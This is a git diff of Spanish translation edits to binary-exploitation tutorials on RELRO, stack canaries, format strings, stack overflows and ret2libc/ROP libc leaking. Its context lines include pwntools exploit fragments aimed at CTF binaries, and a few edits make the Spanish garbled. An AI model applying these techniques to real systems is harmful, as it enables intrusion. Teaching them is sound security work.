+Desde el **RBP** puedes calcular **dónde estás escribiendo tu shell en la pila**. Esto puede ser muy útil para saber dónde vas a escribir la cadena _"/bin/sh\x00"_ dentro de la pila. Para calcular la distancia entre el RBP filtrado y tu shellcode, simplemente puedes poner un **punto de interrupción después de filtrar el RBP** y verificar **dónde se encuentra tu shellcode**, luego, puedes calcular la distancia entre el shellcode y el RBP:
 ```python
 INI_SHELLCODE = RBP - 1152
 ```
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md
index dda650f59..ac5024374 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md
@@ -14,7 +14,7 @@ Esto **no impide que el GOT** sea abusado **por vulnerabilidades de escritura ar
 
 ### **Full RELRO**
 
-**Full RELRO** aumenta la protección al **hacer que el GOT sea completamente de solo lectura.** Una vez que el binario se inicia, todas las direcciones de función se resuelven y se cargan en el GOT, luego, el GOT se marca como de solo lectura, lo que efectivamente previene cualquier modificación durante el tiempo de ejecución.
+**Full RELRO** aumenta la protección al **hacer que el GOT sea completamente de solo lectura.** Una vez que el binario comienza, todas las direcciones de función se resuelven y se cargan en el GOT, luego, el GOT se marca como de solo lectura, lo que efectivamente previene cualquier modificación durante el tiempo de ejecución.
 
 Sin embargo, la desventaja de Full RELRO está en términos de rendimiento y tiempo de inicio. Debido a que necesita resolver todos los símbolos dinámicos al inicio antes de marcar el GOT como de solo lectura, **los binarios con Full RELRO habilitado pueden experimentar tiempos de carga más largos**. Este costo adicional de inicio es la razón por la cual Full RELRO no está habilitado por defecto en todos los binarios.
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md
index 40b33ceb8..6b454b3ac 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md
@@ -10,7 +10,7 @@
 
 ## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
 
-Este mecanismo coloca un **canary** antes del **EBP**, y reorganiza las variables locales para posicionar los búferes en direcciones de memoria más altas, evitando que sobrescriban otras variables. También copia de manera segura los argumentos pasados en la pila por encima de las variables locales y utiliza estas copias como argumentos. Sin embargo, no protege arreglos con menos de 8 elementos o búferes dentro de la estructura de un usuario.
+Este mecanismo coloca un **canary** antes del **EBP**, y reorganiza las variables locales para posicionar los búferes en direcciones de memoria más altas, evitando que sobrescriban otras variables. También copia de manera segura los argumentos pasados en la pila por encima de las variables locales y utiliza estas copias como argumentos. Sin embargo, no protege los arreglos con menos de 8 elementos o los búferes dentro de la estructura de un usuario.
 
 El **canary** es un número aleatorio derivado de `/dev/urandom` o un valor predeterminado de `0xff0a0000`. Se almacena en **TLS (Thread Local Storage)**, permitiendo que los espacios de memoria compartida entre hilos tengan variables globales o estáticas específicas del hilo. Estas variables se copian inicialmente del proceso padre, y los procesos hijos pueden alterar sus datos sin afectar al padre o a los hermanos. Sin embargo, si se utiliza un **`fork()` sin crear un nuevo canary, todos los procesos (padre e hijos) comparten el mismo canary**, lo que lo hace vulnerable. En la arquitectura **i386**, el canary se almacena en `gs:0x14`, y en **x86_64**, en `fs:0x28`.
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
index 34a4a73c5..8ca62710c 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
@@ -193,7 +193,7 @@ Como resultado, un gran Buffer Overflow puede permitir modificar tanto el stack
 gef> p/x 0x7ffff7d7f668 - $rdi
 $1 = 0x848
 ```
-Esta es una explotación corta para llamar a `win`:
+Este es un exploit corto para llamar a `win`:
 ```python
 from pwn import *
 
@@ -215,4 +215,4 @@ io.interactive()
 - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
 - 64 bits, sin PIE, nx, canario BF, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí.
 - [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
-- 64 bits, sin PIE, nx, modificar el canario de hilo y maestro.
+- 64 bits, sin PIE, nx, modificar el hilo y el canario maestro.
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md
index ba8386849..08ea5eeb8 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md
@@ -4,11 +4,11 @@
 
 ## FDs en Explotación Remota
 
-Al enviar un exploit a un servidor remoto que llama a **`system('/bin/sh')`** por ejemplo, esto se ejecutará en el proceso del servidor, y `/bin/sh` esperará entrada de stdin (FD: `0`) y mostrará la salida en stdout y stderr (FDs `1` y `2`). Por lo tanto, el atacante no podrá interactuar con el shell.
+Cuando se envía un exploit a un servidor remoto que llama a **`system('/bin/sh')`** por ejemplo, esto se ejecutará en el proceso del servidor, y `/bin/sh` esperará entrada de stdin (FD: `0`) y mostrará la salida en stdout y stderr (FDs `1` y `2`). Por lo tanto, el atacante no podrá interactuar con el shell.
 
-Una forma de solucionar esto es suponer que cuando el servidor se inició, creó el **FD número `3`** (para escuchar) y que luego, tu conexión estará en el **FD número `4`**. Por lo tanto, es posible usar la syscall **`dup2`** para duplicar el stdin (FD 0) y el stdout (FD 1) en el FD 4 (el de la conexión del atacante) para que sea factible contactar con el shell una vez que se ejecute.
+Una forma de solucionar esto es suponer que cuando el servidor se inició, creó el **FD número `3`** (para escuchar) y que luego, tu conexión estará en el **FD número `4`**. Por lo tanto, es posible usar la syscall **`dup2`** para duplicar el stdin (FD 0) y el stdout (FD 1) en el FD 4 (el de la conexión del atacante) para que sea posible contactar con el shell una vez que se ejecute.
 
-[**Ejemplo de exploit de aquí**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
+[**Ejemplo de exploit desde aquí**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
 ```python
 from pwn import *
 
@@ -25,12 +25,12 @@ p.sendline(rop.chain())
 p.recvuntil('Thanks!\x00')
 p.interactive()
 ```
-## Socat & pty
+## Socat y pty
 
-Tenga en cuenta que socat ya transfiere `stdin` y `stdout` al socket. Sin embargo, el modo `pty` **incluye caracteres DELETE**. Así que, si envía un `\x7f` ( `DELETE` -) eliminará **el carácter anterior** de su exploit.
+Ten en cuenta que socat ya transfiere `stdin` y `stdout` al socket. Sin embargo, el modo `pty` **incluye caracteres DELETE**. Así que, si envías un `\x7f` ( `DELETE` -) **eliminará el carácter anterior** de tu exploit.
 
 Para eludir esto, **el carácter de escape `\x16` debe ser precedido a cualquier `\x7f` enviado.**
 
-**Aquí puede** [**encontrar un ejemplo de este comportamiento**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
+**Aquí puedes** [**encontrar un ejemplo de este comportamiento**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md
index 611988210..a39cdad98 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md
@@ -4,7 +4,7 @@
 
 ## Encabezados de Programa
 
-Describen al cargador cómo cargar el ELF en la memoria:
+Describen al cargador cómo cargar el ELF en memoria:
 ```bash
 readelf -lW lnstat
 
@@ -50,7 +50,7 @@ Indica la ruta del cargador que se debe usar para cargar el binario en memoria.
 ### LOAD
 
 Estos encabezados se utilizan para indicar **cómo cargar un binario en memoria.**\
-Cada encabezado **LOAD** indica una región de **memoria** (tamaño, permisos y alineación) e indica los bytes del **binario ELF que se copiarán allí**.
+Cada encabezado **LOAD** indica una región de **memoria** (tamaño, permisos y alineación) e indica los bytes del binario ELF **que se copiarán allí**.
 
 Por ejemplo, el segundo tiene un tamaño de 0x1190, debe estar ubicado en 0x1fc48 con permisos de lectura y escritura y se llenará con 0x528 desde el desplazamiento 0xfc48 (no llena todo el espacio reservado). Esta memoria contendrá las secciones `.init_array .fini_array .dynamic .got .data .bss`.
 
@@ -306,15 +306,15 @@ Offset          Info           Type           Sym. Value    Sym. Name + Addend
 00000001ffa0  002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
 00000001ffa8  003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
 ```
-### Relocaciones Estáticas
+### Reubicaciones Estáticas
 
-Si el **programa se carga en un lugar diferente** de la dirección preferida (generalmente 0x400000) porque la dirección ya está en uso o debido a **ASLR** o cualquier otra razón, una relocación estática **corrige punteros** que tenían valores esperando que el binario se cargara en la dirección preferida.
+Si el **programa se carga en un lugar diferente** de la dirección preferida (generalmente 0x400000) porque la dirección ya está en uso o debido a **ASLR** o cualquier otra razón, una reubicación estática **corrige punteros** que tenían valores esperando que el binario se cargara en la dirección preferida.
 
-Por ejemplo, cualquier sección de tipo `R_AARCH64_RELATIV` debería haber modificado la dirección en el sesgo de relocación más el valor del aditivo.
+Por ejemplo, cualquier sección de tipo `R_AARCH64_RELATIV` debería haber modificado la dirección en el sesgo de reubicación más el valor del aditivo.
 
-### Relocaciones Dinámicas y GOT
+### Reubicaciones Dinámicas y GOT
 
-La relocación también podría hacer referencia a un símbolo externo (como una función de una dependencia). Como la función malloc de libC. Entonces, el cargador al cargar libC en una dirección, al verificar dónde se carga la función malloc, escribirá esta dirección en la tabla GOT (Global Offset Table) (indicado en la tabla de relocación) donde debería especificarse la dirección de malloc.
+La reubicación también podría hacer referencia a un símbolo externo (como una función de una dependencia). Como la función malloc de libC. Entonces, el cargador al cargar libC en una dirección, al verificar dónde se carga la función malloc, escribirá esta dirección en la tabla GOT (Global Offset Table) (indicado en la tabla de reubicación) donde debería especificarse la dirección de malloc.
 
 ### Tabla de Enlace de Procedimientos
 
@@ -345,7 +345,7 @@ printf("Main\n");
 return 0;
 }
 ```
-Tenga en cuenta que estas variables globales se encuentran en `.data` o `.bss`, pero en las listas `__CTOR_LIST__` y `__DTOR_LIST__` se almacenan los objetos para inicializar y destruir con el fin de hacer un seguimiento de ellos.
+Tenga en cuenta que estas variables globales se encuentran en `.data` o `.bss`, pero en las listas `__CTOR_LIST__` y `__DTOR_LIST__` se almacenan los objetos a inicializar y destruir para hacer un seguimiento de ellos.
 
 Desde el código C, es posible obtener el mismo resultado utilizando las extensiones de GNU:
 ```c
@@ -354,14 +354,14 @@ __attributte__((destructor)) //Add to the destructor list
 ```
 Desde la perspectiva de un compilador, para ejecutar estas acciones antes y después de que se ejecute la función `main`, es posible crear una función `init` y una función `fini` que se referenciarían en la sección dinámica como **`INIT`** y **`FIN`**. y se colocan en las secciones `init` y `fini` del ELF.
 
-La otra opción, como se mencionó, es referenciar las listas **`__CTOR_LIST__`** y **`__DTOR_LIST__`** en las entradas **`INIT_ARRAY`** y **`FINI_ARRAY`** en la sección dinámica y la longitud de estas se indica con **`INIT_ARRAYSZ`** y **`FINI_ARRAYSZ`**. Cada entrada es un puntero a función que se llamará sin argumentos.
+La otra opción, como se mencionó, es referenciar las listas **`__CTOR_LIST__`** y **`__DTOR_LIST__`** en las entradas **`INIT_ARRAY`** y **`FINI_ARRAY`** en la sección dinámica y la longitud de estas se indica por **`INIT_ARRAYSZ`** y **`FINI_ARRAYSZ`**. Cada entrada es un puntero a función que se llamará sin argumentos.
 
 Además, también es posible tener un **`PREINIT_ARRAY`** con **punteros** que se ejecutarán **antes** de los punteros de **`INIT_ARRAY`**.
 
 ### Orden de Inicialización
 
 1. El programa se carga en memoria, las variables globales estáticas se inicializan en **`.data`** y las no inicializadas se ponen a cero en **`.bss`**.
-2. Todas las **dependencias** para el programa o bibliotecas son **inicializadas** y se ejecuta el **vinculador dinámico**.
+2. Todas las **dependencias** para el programa o bibliotecas son **inicializadas** y se ejecuta el **vinculación dinámica**.
 3. Se ejecutan las funciones de **`PREINIT_ARRAY`**.
 4. Se ejecutan las funciones de **`INIT_ARRAY`**.
 5. Si hay una entrada **`INIT`**, se llama.
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md
index be742283d..3db960747 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md
@@ -6,7 +6,7 @@
 
 En C **`printf`** es una función que se puede usar para **imprimir** alguna cadena. El **primer parámetro** que esta función espera es el **texto en bruto con los formateadores**. Los **siguientes parámetros** esperados son los **valores** para **sustituir** los **formateadores** del texto en bruto.
 
-La vulnerabilidad aparece cuando un **texto de atacante se usa como el primer argumento** para esta función. El atacante podrá crear una **entrada especial abusando** de las capacidades de la **cadena de formato** de **printf** para leer y **escribir cualquier dato en cualquier dirección (legible/escribible)**. De esta manera, podrá **ejecutar código arbitrario**.
+La vulnerabilidad aparece cuando un **texto de atacante se usa como el primer argumento** para esta función. El atacante podrá crear una **entrada especial abusando** de las capacidades de la **cadena de formato printf** para leer y **escribir cualquier dato en cualquier dirección (legible/escribible)**. De esta manera, podrá **ejecutar código arbitrario**.
 
 #### Formateadores:
 ```bash
@@ -56,7 +56,7 @@ Nota que el atacante controla el parámetro `pr`**`intf`**, lo que básicamente
 
 ## **Lectura Arbitraria**
 
-Es posible usar el formateador **`$n%s`** para hacer que **`printf`** obtenga la **dirección** situada en la **n posición**, siguiéndola y **imprimirla como si fuera una cadena** (imprimir hasta que se encuentre un 0x00). Así que si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario comienza en la 4ª posición en la pila, es posible imprimir el inicio del binario con:
+Es posible usar el formateador **`$n%s`** para hacer que **`printf`** obtenga la **dirección** situada en la **n posición**, siguiéndola y **imprimirla como si fuera una cadena** (imprimir hasta que se encuentre un 0x00). Así que si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario comienza en la 4ta posición en la pila, es posible imprimir el inicio del binario con:
 ```python
 from pwn import *
 
@@ -92,7 +92,7 @@ En este ejemplo, el objetivo será **sobrescribir** la **dirección** de una **f
 {{#endref}}
 
 Vamos a **sobrescribir** una **función** que **recibe** sus **argumentos** del **usuario** y **apuntarla** a la **función** **`system`**.\
-Como se mencionó, para escribir la dirección, generalmente se necesitan 2 pasos: Primero **escribes 2Bytes** de la dirección y luego los otros 2. Para hacerlo se usa **`$hn`**.
+Como se mencionó, para escribir la dirección, generalmente se necesitan 2 pasos: Primero **escribes 2Bytes** de la dirección y luego los otros 2. Para hacerlo, se usa **`$hn`**.
 
 - **HOB** se llama a los 2 bytes más altos de la dirección
 - **LOB** se llama a los 2 bytes más bajos de la dirección
@@ -141,10 +141,10 @@ p.interactive()
 - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
 - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
 - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
-- 32 bits, sin relro, sin canary, nx, sin pie, uso básico de cadenas de formato para filtrar la bandera desde la pila (sin necesidad de alterar el flujo de ejecución)
+- 32 bits, sin relro, sin canario, nx, sin pie, uso básico de cadenas de formato para filtrar la bandera de la pila (no es necesario alterar el flujo de ejecución)
 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
-- 32 bits, relro, sin canary, nx, sin pie, cadena de formato para sobrescribir la dirección `fflush` con la función win (ret2win)
+- 32 bits, relro, sin canario, nx, sin pie, cadena de formato para sobrescribir la dirección `fflush` con la función win (ret2win)
 - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
-- 32 bits, relro, sin canary, nx, sin pie, cadena de formato para escribir una dirección dentro de main en `.fini_array` (para que el flujo vuelva a repetirse una vez más) y escribir la dirección a `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo regrese a main, `strlen` se ejecutará con la entrada del usuario y apuntando a `system`, ejecutará los comandos pasados.
+- 32 bits, relro, sin canario, nx, sin pie, cadena de formato para escribir una dirección dentro de main en `.fini_array` (para que el flujo vuelva a repetirse una vez más) y escribir la dirección a `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo regrese a main, `strlen` se ejecutará con la entrada del usuario y apuntando a `system`, ejecutará los comandos pasados.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md
index 633dec68e..8ed7b40b7 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md
@@ -8,7 +8,7 @@ Un **stack overflow** es una vulnerabilidad que ocurre cuando un programa escrib
 
 El principal problema de esta sobrescritura es que el **puntero de instrucción guardado (EIP/RIP)** y el **puntero base guardado (EBP/RBP)** para regresar a la función anterior están **almacenados en la pila**. Por lo tanto, un atacante podrá sobrescribir esos y **controlar el flujo de ejecución del programa**.
 
-La vulnerabilidad generalmente surge porque una función **copia dentro de la pila más bytes de los que se le han asignado**, pudiendo así sobrescribir otras partes de la pila.\
+La vulnerabilidad generalmente surge porque una función **copia dentro de la pila más bytes de los que se le han asignado**, por lo que puede sobrescribir otras partes de la pila.\
 Algunas funciones comunes vulnerables a esto son: `strcpy`, `strcat`, `sprintf`, `gets`... Además, funciones como `fgets` o `read`, que toman un argumento de longitud, podrían usarse de manera vulnerable si la longitud especificada es mayor que la asignada.
 
 Por ejemplo, las siguientes funciones podrían ser vulnerables:
@@ -49,7 +49,7 @@ pattern search $rsp #Search the offset given the content of $rsp
 ```
 ## Explotación de desbordamientos de pila
 
-Durante un desbordamiento (suponiendo que el tamaño del desbordamiento sea lo suficientemente grande) podrás sobrescribir valores de variables locales dentro de la pila hasta alcanzar el EBP/RBP y EIP/RIP guardados (o incluso más).\
+Durante un desbordamiento (suponiendo que el tamaño del desbordamiento sea lo suficientemente grande) podrás sobrescribir los valores de las variables locales dentro de la pila hasta alcanzar el EBP/RBP y EIP/RIP guardados (o incluso más).\
 La forma más común de abusar de este tipo de vulnerabilidad es **modificando la dirección de retorno** para que cuando la función termine, **el flujo de control se redirija a donde el usuario especificó** en este puntero.
 
 Sin embargo, en otros escenarios, tal vez solo **sobrescribir algunos valores de variables en la pila** podría ser suficiente para la explotación (como en desafíos CTF fáciles).
@@ -80,7 +80,7 @@ rop-return-oriented-programing.md
 
 ## Tipos de protecciones
 
-Hay varias protecciones que intentan prevenir la explotación de vulnerabilidades, consúltalas en:
+Existen varias protecciones que intentan prevenir la explotación de vulnerabilidades, consúltalas en:
 
 {{#ref}}
 ../common-binary-protections-and-bypasses/
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md
index 09881df36..0d214ae55 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md
@@ -16,7 +16,7 @@ Puedes encontrar un ejemplo de esto en:
 
 ## Punteros de función
 
-Lo mismo que el puntero de cadena pero aplicando a funciones, si la **pila contiene la dirección de una función** que será llamada, es posible **cambiarla** (por ejemplo, para llamar a **`system`**).
+Lo mismo que el puntero de cadena pero aplicándose a funciones, si la **pila contiene la dirección de una función** que será llamada, es posible **cambiarla** (por ejemplo, para llamar a **`system`**).
 
 Puedes encontrar un ejemplo en:
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md
index e19780e79..278e13dcf 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md
@@ -6,7 +6,7 @@
 
 **Debido a que el ESP (Puntero de Pila) siempre apunta a la parte superior de la pila**, esta técnica implica reemplazar el EIP (Puntero de Instrucción) con la dirección de una instrucción **`jmp esp`** o **`call esp`**. Al hacer esto, el shellcode se coloca justo después del EIP sobrescrito. Cuando se ejecuta la instrucción `ret`, el ESP apunta a la siguiente dirección, precisamente donde se almacena el shellcode.
 
-Si **Address Space Layout Randomization (ASLR)** no está habilitado en Windows o Linux, es posible utilizar instrucciones `jmp esp` o `call esp` que se encuentran en bibliotecas compartidas. Sin embargo, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) activo, es posible que se necesite buscar dentro del programa vulnerable en sí para encontrar estas instrucciones (y es posible que necesites derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/)).
+Si **Address Space Layout Randomization (ASLR)** no está habilitado en Windows o Linux, es posible utilizar instrucciones `jmp esp` o `call esp` que se encuentran en bibliotecas compartidas. Sin embargo, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) activo, puede ser necesario buscar dentro del programa vulnerable en sí para encontrar estas instrucciones (y es posible que necesites derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/)).
 
 Además, poder colocar el shellcode **después de la corrupción del EIP**, en lugar de en medio de la pila, asegura que cualquier instrucción `push` o `pop` ejecutada durante la operación de la función no interfiera con el shellcode. Esta interferencia podría ocurrir si el shellcode se colocara en medio de la pila de la función.
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md
index 1de938639..1c0de5e31 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md
@@ -25,7 +25,7 @@ for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
 ```bash
 readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
 ```
-- Conociendo la libc utilizada, también es posible encontrar el desplazamiento a la función de la cadena `/bin/sh` con:
+- Conociendo la libc utilizada, también es posible encontrar el desplazamiento a la cadena `/bin/sh` función con:
 ```bash
 strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
 ```
@@ -49,7 +49,7 @@ En este caso se carga en **0xb75dc000** (Esta será la dirección base de libc)
 
 ## libc desconocida
 
-Puede ser posible que **no conozcas la libc que el binario está cargando** (porque podría estar ubicada en un servidor al que no tienes acceso). En ese caso, podrías abusar de la vulnerabilidad para **filtrar algunas direcciones y encontrar qué biblioteca libc** se está utilizando:
+Puede ser posible que **no sepas qué libc está cargando el binario** (porque podría estar ubicado en un servidor al que no tienes acceso). En ese caso, podrías abusar de la vulnerabilidad para **filtrar algunas direcciones y encontrar qué biblioteca libc** se está utilizando:
 
 {{#ref}}
 rop-leaking-libc-address/
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md
index 6d09045e3..ab6d9ed03 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md
@@ -32,7 +32,7 @@ return 0;
 ```bash
 gcc -o vuln vuln.c -fno-stack-protector -no-pie
 ```
-## ROP - Filtrando la plantilla de LIBC
+## ROP - Filtrando plantilla de LIBC
 
 Voy a usar el código ubicado aquí para hacer el exploit.\
 Descarga el exploit y colócalo en el mismo directorio que el binario vulnerable y proporciona los datos necesarios al script:
@@ -58,7 +58,7 @@ r.sendline(payload)
 #cyclic_find(0x6161616b) # Find the offset of those bytes
 return
 ```
-**Ejecuta** `python template.py` se abrirá una consola GDB con el programa que se está bloqueando. Dentro de esa **consola GDB** ejecuta `x/wx $rsp` para obtener los **bytes** que iban a sobrescribir el RIP. Finalmente, obtén el **offset** usando una consola **python**:
+**Ejecuta** `python template.py` se abrirá una consola GDB con el programa que se está bloqueando. Dentro de esa **consola GDB** ejecuta `x/wx $rsp` para obtener los **bytes** que iban a sobrescribir el RIP. Finalmente, obtén el **offset** usando una consola de **python**:
 ```python
 from pwn import *
 cyclic_find(0x6161616b)
@@ -70,7 +70,7 @@ Después de encontrar el offset (en este caso 40), cambia la variable OFFSET den
 
 Otra forma sería usar: `pattern create 1000` -- _ejecutar hasta ret_ -- `pattern seach $rsp` desde GEF.
 
-## 2- Encontrando Gadgets
+## 2- Encontrar Gadgets
 
 Ahora necesitamos encontrar gadgets ROP dentro del binario. Estos gadgets ROP serán útiles para llamar a `puts` para encontrar la **libc** que se está utilizando, y más tarde para **lanzar el exploit final**.
 ```python
@@ -126,7 +126,7 @@ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
 ```
 Esto enviará algunos bytes hasta que **sobrescribir** el **RIP** sea posible: `OFFSET`.\
 Luego, establecerá la **dirección** del gadget `POP_RDI` para que la siguiente dirección (`FUNC_GOT`) se guarde en el registro **RDI**. Esto se debe a que queremos **llamar a puts** **pasándole** la **dirección** de `PUTS_GOT` ya que la dirección en memoria de la función puts se guarda en la dirección apuntada por `PUTS_GOT`.\
-Después de eso, se llamará a `PUTS_PLT` (con `PUTS_GOT` dentro del **RDI**) para que puts **lea el contenido** dentro de `PUTS_GOT` (**la dirección de la función puts en memoria**) y **la imprima**.\
+Después de eso, se llamará a `PUTS_PLT` (con `PUTS_GOT` dentro del **RDI**) para que puts **lea el contenido** dentro de `PUTS_GOT` (**la dirección de la función puts en memoria**) y lo **imprima**.\
 Finalmente, **la función main se llama de nuevo** para que podamos explotar el desbordamiento nuevamente.
 
 De esta manera hemos **engañado a la función puts** para que **imprima** la **dirección** en **memoria** de la función **puts** (que está dentro de la biblioteca **libc**). Ahora que tenemos esa dirección, podemos **buscar qué versión de libc se está utilizando**.
@@ -134,7 +134,7 @@ De esta manera hemos **engañado a la función puts** para que **imprima** la **
 ![](<../../../../../images/image (141).png>)
 
 Como estamos **explotando** algún binario **local**, **no es necesario** averiguar qué versión de **libc** se está utilizando (solo encuentra la biblioteca en `/lib/x86_64-linux-gnu/libc.so.6`).\
-Pero, en un caso de explotación remota, aquí explicaré cómo puedes encontrarla:
+Pero, en un caso de explotación remota, explicaré aquí cómo puedes encontrarla:
 
 ### 3.1- Buscando la versión de libc (1)
 
@@ -151,7 +151,7 @@ También puedes hacer:
 - `$ cd libc-database`
 - `$ ./get`
 
-Esto tomará un tiempo, ten paciencia.\
+Esto tomará algo de tiempo, ten paciencia.\
 Para que esto funcione necesitamos:
 
 - Nombre del símbolo de libc: `puts`
@@ -184,7 +184,7 @@ gets
 ```
 ## 4- Encontrar la dirección de libc basada y explotar
 
-En este punto deberíamos conocer la biblioteca libc utilizada. Como estamos explotando un binario local, usaré solo: `/lib/x86_64-linux-gnu/libc.so.6`
+En este punto, deberíamos conocer la biblioteca libc utilizada. Como estamos explotando un binario local, usaré solo: `/lib/x86_64-linux-gnu/libc.so.6`
 
 Así que, al principio de `template.py`, cambia la variable **libc** a: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Establecer la ruta de la biblioteca cuando se conozca`
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
index 56186b932..e7d29b057 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
